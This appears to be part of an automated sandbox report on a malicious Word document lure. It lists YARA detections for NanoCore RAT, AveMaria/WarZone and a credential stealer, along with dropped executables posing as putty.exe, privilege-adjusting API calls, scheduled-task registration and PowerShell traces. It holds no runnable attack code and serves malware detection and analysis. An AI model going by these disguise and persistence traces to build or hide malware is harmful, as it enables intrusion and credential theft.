Source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.24cdfa0.21.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.24cdfa0.21.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.d74c9f.17.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.d74c9f.17.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.iBCrDCK.i.exe.d70000.19.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.iBCrDCK.i.exe.d70000.19.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2354192632.0000000000AC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354192632.0000000000AC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2354334039.0000000000C60000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354334039.0000000000C60000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000022.00000002.2354257408.0000000000BF0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354257408.0000000000BF0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000006.00000002.2096261364.00000000002C0000.00000004.00000020.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.2353616508.00000000003F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2353616508.00000000003F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.2354275744.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354275744.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2354246259.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354246259.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2353937433.00000000005D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2353937433.00000000005D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2354319095.0000000000C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354319095.0000000000C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000003.00000002.2094462607.0000000000160000.00000004.00000020.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 00000022.00000002.2354021800.0000000000800000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354021800.0000000000800000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2355684386.0000000002502000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.2354370818.0000000000CB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354370818.0000000000CB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2354478955.0000000000D70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354478955.0000000000D70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2360227304.0000000003777000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.2353950327.00000000005E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2353950327.00000000005E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000022.00000002.2354423822.0000000000CD0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2354423822.0000000000CD0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: putty[1].exe.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: putty.exe.3.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: putty.exe.6.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: images.exe.13.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: putty[1].exe.0.dr, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: putty.exe.3.dr, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: putty.exe.6.dr, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 10.0.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 10.2.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 11.2.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 11.0.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 12.2.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 12.0.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: images.exe.13.dr, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: 13.2.putty.exe.100000.0.unpack, ValidationAndControl/TaskLaunch.cs Task registration methods: 'Register'
Source: classification engine Classification label: mal100.phis.troj.spyw.expl.evad.winDOC@45/31@24/2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_005708A2 AdjustTokenPrivileges, 11_2_005708A2
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 11_2_0057086B AdjustTokenPrivileges, 11_2_0057086B
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00410B38 OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges, 13_2_00410B38
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00410B38 OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges, 15_2_00410B38
Source: C:\ProgramData\images.exe Code function: 21_3_042394E0 GetVersionExW,MultiByteToWideChar,MultiByteToWideChar,_malloc,MultiByteToWideChar,_free,GetVersionExW,GetDiskFreeSpaceW,GetDiskFreeSpaceA,_free, 21_3_042394E0
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0041405F RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 13_2_0041405F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_004148B6 CoInitialize,CoCreateInstance,VariantInit,CoUninitialize, 13_2_004148B6
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00415169 LoadResource,SizeofResource,LockResource,GetTempPathA,GetTempPathA,lstrcatA,lstrcatA,GetTempPathA,lstrcatA,CreateFileA,WriteFile,CloseHandle,wsprintfA,ShellExecuteExA, 13_2_00415169
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040D33C OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 13_2_0040D33C
Source: C:\Users\user\AppData\Roaming\putty.exe File created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$W PO1100372954 -.doc Jump to behavior
Source: C:\Windows\System32\drvinst.exe Mutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{6a1c2465-7ac5-4f1d-acc5-ef04fcf454c9}
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRCDE9.tmp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................#.........)...............................).....`I+........v.....................K2..................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#..................j....................................}..v....(.......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../...............\..j....0.l.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v..../..................j....p...............................}..v............0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.4.5.............}..v............0.................l.....$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....;..................j....................................}..v....8.......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....G...............\..j....0.l.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....G..................j....................................}..v....8.......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....S...............\..j....0.l.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....S..................j....................................}..v....8.......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v...._.......s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.p.u.t.t.y...e.x.e.'.........l.....J....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v...._..................j....................................}..v....p.......0.................l............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....k...............\..j....0.l.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....k..................j....................................}..v....p.......0.................l............................. Jump to behavior
